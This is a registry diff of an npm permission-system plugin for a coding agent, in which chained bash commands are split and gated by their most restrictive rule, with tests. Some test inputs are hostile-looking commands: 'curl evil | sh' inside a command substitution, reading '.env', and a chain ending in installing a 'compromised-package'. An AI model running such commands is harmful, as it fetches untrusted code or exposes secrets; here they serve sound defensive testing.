@gotgenes/pi-permission-system 9.0.0 → 9.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +14 -0
- package/package.json +1 -1
- package/src/handlers/gates/bash-command.ts +55 -0
- package/src/handlers/gates/bash-external-directory.ts +2 -1
- package/src/handlers/gates/bash-path-extractor.ts +9 -618
- package/src/handlers/gates/bash-path.ts +13 -7
- package/src/handlers/gates/bash-program.ts +727 -0
- package/src/handlers/gates/candidate-check.ts +32 -0
- package/src/handlers/permission-gate-handler.ts +21 -8
- package/test/handlers/gates/bash-command.test.ts +167 -0
- package/test/handlers/gates/bash-program.test.ts +107 -0
- package/test/handlers/gates/candidate-check.test.ts +52 -0
- package/test/handlers/tool-call.test.ts +73 -0
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import type { PermissionCheckResult, PermissionState } from "#src/types";
|
|
2
|
+
|
|
3
|
+
/** Restrictiveness ordering: deny is the most restrictive, allow the least. */
|
|
4
|
+
const RESTRICTIVENESS: Record<PermissionState, number> = {
|
|
5
|
+
allow: 0,
|
|
6
|
+
ask: 1,
|
|
7
|
+
deny: 2,
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Select the most restrictive permission result from a list (deny > ask > allow).
|
|
12
|
+
*
|
|
13
|
+
* The first occurrence wins on ties, so a caller passing results in candidate
|
|
14
|
+
* order receives the earliest worst case. Returns `undefined` for an empty list.
|
|
15
|
+
*
|
|
16
|
+
* Shared by the bash gates (path, external-directory) to combine the per-candidate
|
|
17
|
+
* `checkPermission` results their tree-sitter token extraction produces.
|
|
18
|
+
*/
|
|
19
|
+
export function pickMostRestrictive(
|
|
20
|
+
results: readonly PermissionCheckResult[],
|
|
21
|
+
): PermissionCheckResult | undefined {
|
|
22
|
+
let worst: PermissionCheckResult | undefined;
|
|
23
|
+
for (const result of results) {
|
|
24
|
+
if (
|
|
25
|
+
worst === undefined ||
|
|
26
|
+
RESTRICTIVENESS[result.state] > RESTRICTIVENESS[worst.state]
|
|
27
|
+
) {
|
|
28
|
+
worst = result;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
return worst;
|
|
32
|
+
}
|
|
@@ -3,7 +3,7 @@ import type {
|
|
|
3
3
|
InputEventResult,
|
|
4
4
|
} from "@earendil-works/pi-coding-agent";
|
|
5
5
|
|
|
6
|
-
import { toRecord } from "#src/common";
|
|
6
|
+
import { getNonEmptyString, toRecord } from "#src/common";
|
|
7
7
|
import {
|
|
8
8
|
emitDecisionEvent,
|
|
9
9
|
type PermissionEventBus,
|
|
@@ -26,6 +26,7 @@ import {
|
|
|
26
26
|
getToolNameFromValue,
|
|
27
27
|
type ToolRegistry,
|
|
28
28
|
} from "#src/tool-registry";
|
|
29
|
+
import { resolveBashCommandCheck } from "./gates/bash-command";
|
|
29
30
|
import { describeBashExternalDirectoryGate } from "./gates/bash-external-directory";
|
|
30
31
|
import { describeBashPathGate } from "./gates/bash-path";
|
|
31
32
|
import type { GateResult, GateRunnerDeps } from "./gates/descriptor";
|
|
@@ -169,13 +170,25 @@ export class PermissionGateHandler {
|
|
|
169
170
|
getSessionRuleset,
|
|
170
171
|
),
|
|
171
172
|
() => describeBashPathGate(tcc, checkPermission, getSessionRuleset),
|
|
172
|
-
() => {
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
173
|
+
async () => {
|
|
174
|
+
// Bash commands may chain several sub-commands (`a && b`, `a | b`, …);
|
|
175
|
+
// evaluate each on the bash surface and select the most restrictive,
|
|
176
|
+
// rather than matching the whole program string (#301). Other tools
|
|
177
|
+
// evaluate their single input directly.
|
|
178
|
+
const toolCheck =
|
|
179
|
+
tcc.toolName === "bash"
|
|
180
|
+
? await resolveBashCommandCheck(
|
|
181
|
+
getNonEmptyString(toRecord(tcc.input).command) ?? "",
|
|
182
|
+
tcc.agentName ?? undefined,
|
|
183
|
+
getSessionRuleset(),
|
|
184
|
+
checkPermission,
|
|
185
|
+
)
|
|
186
|
+
: checkPermission(
|
|
187
|
+
tcc.toolName,
|
|
188
|
+
tcc.input,
|
|
189
|
+
tcc.agentName ?? undefined,
|
|
190
|
+
getSessionRuleset(),
|
|
191
|
+
);
|
|
179
192
|
const toolDescriptor = describeToolGate(tcc, toolCheck, formatter);
|
|
180
193
|
toolDescriptor.preCheck = toolCheck;
|
|
181
194
|
return toolDescriptor;
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
import { describe, expect, it, vi } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
|
|
4
|
+
import type { Rule } from "#src/rule";
|
|
5
|
+
import type { PermissionCheckResult } from "#src/types";
|
|
6
|
+
|
|
7
|
+
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
|
8
|
+
|
|
9
|
+
type CheckPermissionFn = (
|
|
10
|
+
surface: string,
|
|
11
|
+
input: unknown,
|
|
12
|
+
agentName?: string,
|
|
13
|
+
sessionRules?: Rule[],
|
|
14
|
+
) => PermissionCheckResult;
|
|
15
|
+
|
|
16
|
+
/** Build a bash-surface check result for a single command unit. */
|
|
17
|
+
function bashResult(
|
|
18
|
+
state: PermissionCheckResult["state"],
|
|
19
|
+
command: string,
|
|
20
|
+
matchedPattern?: string,
|
|
21
|
+
): PermissionCheckResult {
|
|
22
|
+
return makeCheckResult({ state, source: "bash", command, matchedPattern });
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
describe("resolveBashCommandCheck", () => {
|
|
26
|
+
it("passes a single command straight through", async () => {
|
|
27
|
+
const decompose = vi.fn(async () => ["npm install pkg"]);
|
|
28
|
+
const checkPermission = vi
|
|
29
|
+
.fn<CheckPermissionFn>()
|
|
30
|
+
.mockReturnValue(bashResult("allow", "npm install pkg", "npm *"));
|
|
31
|
+
|
|
32
|
+
const result = await resolveBashCommandCheck(
|
|
33
|
+
"npm install pkg",
|
|
34
|
+
undefined,
|
|
35
|
+
[],
|
|
36
|
+
checkPermission,
|
|
37
|
+
decompose,
|
|
38
|
+
);
|
|
39
|
+
|
|
40
|
+
expect(result.state).toBe("allow");
|
|
41
|
+
expect(checkPermission).toHaveBeenCalledTimes(1);
|
|
42
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
43
|
+
"bash",
|
|
44
|
+
{ command: "npm install pkg" },
|
|
45
|
+
undefined,
|
|
46
|
+
[],
|
|
47
|
+
);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
it("denies the chain when any sub-command is denied, reporting that command's pattern", async () => {
|
|
51
|
+
const decompose = vi.fn(async () => ["cd /p", "npm install pkg"]);
|
|
52
|
+
const checkPermission = vi
|
|
53
|
+
.fn<CheckPermissionFn>()
|
|
54
|
+
.mockImplementation((_surface, input) => {
|
|
55
|
+
const command = (input as { command: string }).command;
|
|
56
|
+
return command.startsWith("npm")
|
|
57
|
+
? bashResult("deny", command, "npm *")
|
|
58
|
+
: bashResult("allow", command, "cd *");
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
const result = await resolveBashCommandCheck(
|
|
62
|
+
"cd /p && npm install pkg",
|
|
63
|
+
undefined,
|
|
64
|
+
[],
|
|
65
|
+
checkPermission,
|
|
66
|
+
decompose,
|
|
67
|
+
);
|
|
68
|
+
|
|
69
|
+
expect(result.state).toBe("deny");
|
|
70
|
+
expect(result.matchedPattern).toBe("npm *");
|
|
71
|
+
expect(result.command).toBe("npm install pkg");
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("asks when a sub-command asks and none denies", async () => {
|
|
75
|
+
const decompose = vi.fn(async () => ["cd /p", "git push"]);
|
|
76
|
+
const checkPermission = vi
|
|
77
|
+
.fn<CheckPermissionFn>()
|
|
78
|
+
.mockImplementation((_surface, input) => {
|
|
79
|
+
const command = (input as { command: string }).command;
|
|
80
|
+
return command.startsWith("git")
|
|
81
|
+
? bashResult("ask", command, "git *")
|
|
82
|
+
: bashResult("allow", command, "cd *");
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
const result = await resolveBashCommandCheck(
|
|
86
|
+
"cd /p && git push",
|
|
87
|
+
undefined,
|
|
88
|
+
[],
|
|
89
|
+
checkPermission,
|
|
90
|
+
decompose,
|
|
91
|
+
);
|
|
92
|
+
|
|
93
|
+
expect(result.state).toBe("ask");
|
|
94
|
+
expect(result.matchedPattern).toBe("git *");
|
|
95
|
+
expect(result.command).toBe("git push");
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it("returns the first allow result when every sub-command is allowed", async () => {
|
|
99
|
+
const decompose = vi.fn(async () => ["a", "b"]);
|
|
100
|
+
const checkPermission = vi
|
|
101
|
+
.fn<CheckPermissionFn>()
|
|
102
|
+
.mockImplementation((_surface, input) => {
|
|
103
|
+
const command = (input as { command: string }).command;
|
|
104
|
+
return bashResult("allow", command, `${command} *`);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
const result = await resolveBashCommandCheck(
|
|
108
|
+
"a && b",
|
|
109
|
+
undefined,
|
|
110
|
+
[],
|
|
111
|
+
checkPermission,
|
|
112
|
+
decompose,
|
|
113
|
+
);
|
|
114
|
+
|
|
115
|
+
expect(result.state).toBe("allow");
|
|
116
|
+
expect(result.matchedPattern).toBe("a *");
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
it("falls back to the whole command when no top-level commands are found", async () => {
|
|
120
|
+
const decompose = vi.fn(async () => []);
|
|
121
|
+
const checkPermission = vi
|
|
122
|
+
.fn<CheckPermissionFn>()
|
|
123
|
+
.mockReturnValue(bashResult("ask", "( rm x )", "*"));
|
|
124
|
+
|
|
125
|
+
const result = await resolveBashCommandCheck(
|
|
126
|
+
"( rm x )",
|
|
127
|
+
undefined,
|
|
128
|
+
[],
|
|
129
|
+
checkPermission,
|
|
130
|
+
decompose,
|
|
131
|
+
);
|
|
132
|
+
|
|
133
|
+
expect(result.state).toBe("ask");
|
|
134
|
+
expect(checkPermission).toHaveBeenCalledTimes(1);
|
|
135
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
136
|
+
"bash",
|
|
137
|
+
{ command: "( rm x )" },
|
|
138
|
+
undefined,
|
|
139
|
+
[],
|
|
140
|
+
);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
it("forwards the agent name and session rules to each sub-command check", async () => {
|
|
144
|
+
const sessionRules: Rule[] = [
|
|
145
|
+
{ surface: "bash", pattern: "npm *", action: "allow", origin: "session" },
|
|
146
|
+
];
|
|
147
|
+
const decompose = vi.fn(async () => ["npm i"]);
|
|
148
|
+
const checkPermission = vi
|
|
149
|
+
.fn<CheckPermissionFn>()
|
|
150
|
+
.mockReturnValue(bashResult("allow", "npm i"));
|
|
151
|
+
|
|
152
|
+
await resolveBashCommandCheck(
|
|
153
|
+
"npm i",
|
|
154
|
+
"agent-x",
|
|
155
|
+
sessionRules,
|
|
156
|
+
checkPermission,
|
|
157
|
+
decompose,
|
|
158
|
+
);
|
|
159
|
+
|
|
160
|
+
expect(checkPermission).toHaveBeenCalledWith(
|
|
161
|
+
"bash",
|
|
162
|
+
{ command: "npm i" },
|
|
163
|
+
"agent-x",
|
|
164
|
+
sessionRules,
|
|
165
|
+
);
|
|
166
|
+
});
|
|
167
|
+
});
|
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { BashProgram } from "#src/handlers/gates/bash-program";
|
|
4
|
+
|
|
5
|
+
describe("BashProgram", () => {
|
|
6
|
+
describe("pathTokens", () => {
|
|
7
|
+
it("returns dot-files and relative path tokens", async () => {
|
|
8
|
+
const program = await BashProgram.parse("cat .env src/foo.ts");
|
|
9
|
+
expect(program.pathTokens()).toEqual([".env", "src/foo.ts"]);
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns an empty array when there are no path tokens", async () => {
|
|
13
|
+
const program = await BashProgram.parse("echo hello");
|
|
14
|
+
expect(program.pathTokens()).toEqual([]);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("deduplicates repeated tokens across a command chain", async () => {
|
|
18
|
+
const program = await BashProgram.parse("cat .env && rm .env");
|
|
19
|
+
expect(program.pathTokens()).toEqual([".env"]);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
describe("externalPaths", () => {
|
|
24
|
+
const cwd = "/projects/my-app";
|
|
25
|
+
|
|
26
|
+
it("returns absolute paths resolving outside cwd", async () => {
|
|
27
|
+
const program = await BashProgram.parse("cat /etc/hosts");
|
|
28
|
+
// Subset matcher: the path is normalized before comparison.
|
|
29
|
+
expect(program.externalPaths(cwd)).toContain("/etc/hosts");
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
it("excludes paths within cwd", async () => {
|
|
33
|
+
const program = await BashProgram.parse("cat src/index.ts");
|
|
34
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
describe("topLevelCommands", () => {
|
|
39
|
+
it("returns a single-element list for a lone command", async () => {
|
|
40
|
+
const program = await BashProgram.parse("npm install pkg");
|
|
41
|
+
expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
it("splits an && chain", async () => {
|
|
45
|
+
const program = await BashProgram.parse("cd /p && npm i x");
|
|
46
|
+
expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
it("splits || , ; and & separators", async () => {
|
|
50
|
+
expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
|
|
51
|
+
"a",
|
|
52
|
+
"b",
|
|
53
|
+
]);
|
|
54
|
+
expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
|
|
55
|
+
"a",
|
|
56
|
+
"b",
|
|
57
|
+
]);
|
|
58
|
+
expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
|
|
59
|
+
"a",
|
|
60
|
+
"b",
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
it("splits a pipeline into its commands", async () => {
|
|
65
|
+
const program = await BashProgram.parse("cat f | grep b");
|
|
66
|
+
expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it("splits newline-separated commands", async () => {
|
|
70
|
+
const program = await BashProgram.parse("foo\nbar");
|
|
71
|
+
expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("does not split operators inside quotes", async () => {
|
|
75
|
+
const program = await BashProgram.parse("echo 'x && y'");
|
|
76
|
+
expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
it("captures the command of a redirected statement without the redirect", async () => {
|
|
80
|
+
const program = await BashProgram.parse("npm install > out.txt");
|
|
81
|
+
expect(program.topLevelCommands()).toEqual(["npm install"]);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it("emits a subshell whole without descending into it", async () => {
|
|
85
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
86
|
+
expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it("keeps command substitution inside the enclosing command", async () => {
|
|
90
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
91
|
+
expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
it("returns an empty list for an empty or whitespace command", async () => {
|
|
95
|
+
expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
|
|
96
|
+
expect((await BashProgram.parse(" ")).topLevelCommands()).toEqual([]);
|
|
97
|
+
});
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
it("derives both slices from a single parse", async () => {
|
|
101
|
+
const program = await BashProgram.parse("cat .env /etc/hosts");
|
|
102
|
+
expect(program.pathTokens()).toEqual([".env", "/etc/hosts"]);
|
|
103
|
+
const external = program.externalPaths("/projects/my-app");
|
|
104
|
+
expect(external).toContain("/etc/hosts");
|
|
105
|
+
expect(external).not.toContain(".env");
|
|
106
|
+
});
|
|
107
|
+
});
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
|
|
4
|
+
|
|
5
|
+
import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
|
|
6
|
+
|
|
7
|
+
describe("pickMostRestrictive", () => {
|
|
8
|
+
it("returns undefined for an empty list", () => {
|
|
9
|
+
expect(pickMostRestrictive([])).toBeUndefined();
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns the single result for a one-element list", () => {
|
|
13
|
+
const only = makeGateCheckResult({ state: "allow" });
|
|
14
|
+
expect(pickMostRestrictive([only])).toBe(only);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("prefers deny over ask and allow regardless of position", () => {
|
|
18
|
+
const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
|
|
19
|
+
const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
|
|
20
|
+
const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
|
|
21
|
+
expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
|
|
22
|
+
expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("prefers ask over allow when no deny is present", () => {
|
|
26
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
27
|
+
const ask = makeGateCheckResult({ state: "ask" });
|
|
28
|
+
expect(pickMostRestrictive([allow, ask])).toBe(ask);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it("keeps the first deny on ties", () => {
|
|
32
|
+
const deny1 = makeGateCheckResult({
|
|
33
|
+
state: "deny",
|
|
34
|
+
matchedPattern: "first",
|
|
35
|
+
});
|
|
36
|
+
const deny2 = makeGateCheckResult({
|
|
37
|
+
state: "deny",
|
|
38
|
+
matchedPattern: "second",
|
|
39
|
+
});
|
|
40
|
+
expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
it("keeps the first ask on ties when no deny is present", () => {
|
|
44
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
45
|
+
const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
|
|
46
|
+
const ask2 = makeGateCheckResult({
|
|
47
|
+
state: "ask",
|
|
48
|
+
matchedPattern: "second",
|
|
49
|
+
});
|
|
50
|
+
expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
|
|
51
|
+
});
|
|
52
|
+
});
|
|
@@ -287,3 +287,76 @@ describe("handleToolCall — bash path gate", () => {
|
|
|
287
287
|
expect(result).toMatchObject({ block: true });
|
|
288
288
|
});
|
|
289
289
|
});
|
|
290
|
+
|
|
291
|
+
// ── bash command chain gate ───────────────────────────────────────────────
|
|
292
|
+
|
|
293
|
+
describe("handleToolCall — bash command chain gate", () => {
|
|
294
|
+
it("blocks a chain when a later sub-command is denied (#301)", async () => {
|
|
295
|
+
const checkPermission = vi
|
|
296
|
+
.fn()
|
|
297
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
298
|
+
if (surface === "bash") {
|
|
299
|
+
const command = (input as { command?: string }).command ?? "";
|
|
300
|
+
return /^npm\b/.test(command)
|
|
301
|
+
? makeCheckResult({
|
|
302
|
+
state: "deny",
|
|
303
|
+
source: "bash",
|
|
304
|
+
command,
|
|
305
|
+
matchedPattern: "npm *",
|
|
306
|
+
})
|
|
307
|
+
: makeCheckResult({
|
|
308
|
+
state: "allow",
|
|
309
|
+
source: "bash",
|
|
310
|
+
command,
|
|
311
|
+
matchedPattern: "echo *",
|
|
312
|
+
});
|
|
313
|
+
}
|
|
314
|
+
return makeCheckResult({ state: "allow" });
|
|
315
|
+
});
|
|
316
|
+
const { handler } = makeHandler({
|
|
317
|
+
session: { checkPermission },
|
|
318
|
+
toolRegistry: {
|
|
319
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
320
|
+
},
|
|
321
|
+
});
|
|
322
|
+
const event = {
|
|
323
|
+
type: "tool_call",
|
|
324
|
+
toolCallId: "tc-bash-chain",
|
|
325
|
+
name: "bash",
|
|
326
|
+
input: { command: "echo start && npm install compromised-package" },
|
|
327
|
+
};
|
|
328
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
329
|
+
expect(result).toMatchObject({ block: true });
|
|
330
|
+
});
|
|
331
|
+
|
|
332
|
+
it("allows a single non-chained bash command", async () => {
|
|
333
|
+
const checkPermission = vi
|
|
334
|
+
.fn()
|
|
335
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
336
|
+
if (surface === "bash") {
|
|
337
|
+
const command = (input as { command?: string }).command ?? "";
|
|
338
|
+
return makeCheckResult({
|
|
339
|
+
state: "allow",
|
|
340
|
+
source: "bash",
|
|
341
|
+
command,
|
|
342
|
+
matchedPattern: "echo *",
|
|
343
|
+
});
|
|
344
|
+
}
|
|
345
|
+
return makeCheckResult({ state: "allow" });
|
|
346
|
+
});
|
|
347
|
+
const { handler } = makeHandler({
|
|
348
|
+
session: { checkPermission },
|
|
349
|
+
toolRegistry: {
|
|
350
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
351
|
+
},
|
|
352
|
+
});
|
|
353
|
+
const event = {
|
|
354
|
+
type: "tool_call",
|
|
355
|
+
toolCallId: "tc-bash-single",
|
|
356
|
+
name: "bash",
|
|
357
|
+
input: { command: "echo hi" },
|
|
358
|
+
};
|
|
359
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
360
|
+
expect(result).toEqual({});
|
|
361
|
+
});
|
|
362
|
+
});
|